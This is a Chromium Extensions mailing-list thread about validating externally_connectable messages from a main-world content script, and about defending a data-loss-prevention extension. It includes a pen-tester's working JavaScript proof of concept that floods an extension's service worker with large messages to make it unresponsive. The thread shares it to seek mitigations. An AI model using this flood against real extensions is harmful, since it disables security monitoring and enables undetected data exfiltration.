Externally connectable and sanitize senders

[Salmin Skenderovic]

Hello!

When dealing with externally_connectable, I came across this section of the documentation:

https://developer.chrome.com/docs/extensions/develop/security-privacy/stay-secure#sanitize

However - when I send messages from the main world, from my own content script,  sender.id is always undefined.

How am I supposed to validate externalMessages?

Manifest:

{

"matches": [

"<all_urls>"

],

"js": [

"src/content-script.js"

],

"run_at": "document_end",

"world": "ISOLATED"

},

Content Script:

chrome.runtime.sendMessage('MY_ID', {})

Background:

chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {

console.log(sender.id);

});

[Salmin Skenderovic]

Correction:

world is MAIN, not ISOLATED

[Oliver Dunk]

The primary use case for `sender.id` is when another extension sends your extension a message from its service worker or chrome-extension:// page.

For the situation you have described, `sender.id` is not set. We can't do this because any <script> tags running on the page also execute in the main world - and so the messages sent from your content script and other scripts on the page are indistinguishable.

Instead, you can skip checking `sender.id`, but you will need to treat the message as untrusted since it could have come from either your content script or the web page itself.

If you're able to share what your extension does and what the messaging is used for we might be able to provide more specific guidance about what to do in practice.

Oliver Dunk | DevRel, Chrome Extensions | https://developer.chrome.com/ | London, GB

--
You received this message because you are subscribed to the Google Groups "Chromium Extensions" group.
To unsubscribe from this group and stop receiving emails from it, send an email to chromium-extens...@chromium.org.
To view this discussion visit https://groups.google.com/a/chromium.org/d/msgid/chromium-extensions/57b4d501-da08-498d-9cbb-430b3ac83754n%40chromium.org.

[Salmin Skenderovic]

Our extension is a cyber security DLP extension. We have to inject in the main world to intercept certain payloads, to prevent data loss.

One of our issues is that our own content scripts need to communicate with the service worker, and some of our pen tester has found work-arounds by DoSing the service worker.

Here is an example that a malicious website can use. This causes our service worker to be unresponsive, and the user would be able to exfiltrate sensitive information without our knowledge.

(() => {

const extId = "OUR_ID";

if (!chrome?.runtime?.sendMessage) return;

const payloadMB = 5; // increase if needed

const repeat = 50; // number of sends

const intervalMs = 1000; // lower = more aggressive

const payload = "A".repeat(payloadMB * 1024 * 1024);

let sent = 0;

const t = setInterval(() => {

chrome.runtime.sendMessage(

extId,

{

action: "allowedAction",

message: payload, // has to be dynamic, which is why they can increase the payload size

},

() => {},

);

if (++sent >= repeat) clearInterval(t);

}, intervalMs);

window.stopFlood = () => clearInterval(t);

})();

We are looking into ways to guard from this. Maybe payload size limits. Or message rate limits. All ideas are welcome :) 

[Oliver Dunk]

If you haven't already, I would suggest reporting the denial of service at https://crbug.com/. I expect it may not be considered a security bug but it might still be something we can do more on the platform to prevent.

We are discussing some future APIs for communication between the main world and isolated world, and if these are implemented it might open some new options for you: https://github.com/w3c/webextensions/pull/679

In the meantime, I'm unfortunately not sure of the best way to communicate between your main world content script and the service worker without also opening the communication channel up more broadly.

Oliver Dunk | DevRel, Chrome Extensions | https://developer.chrome.com/ | London, GB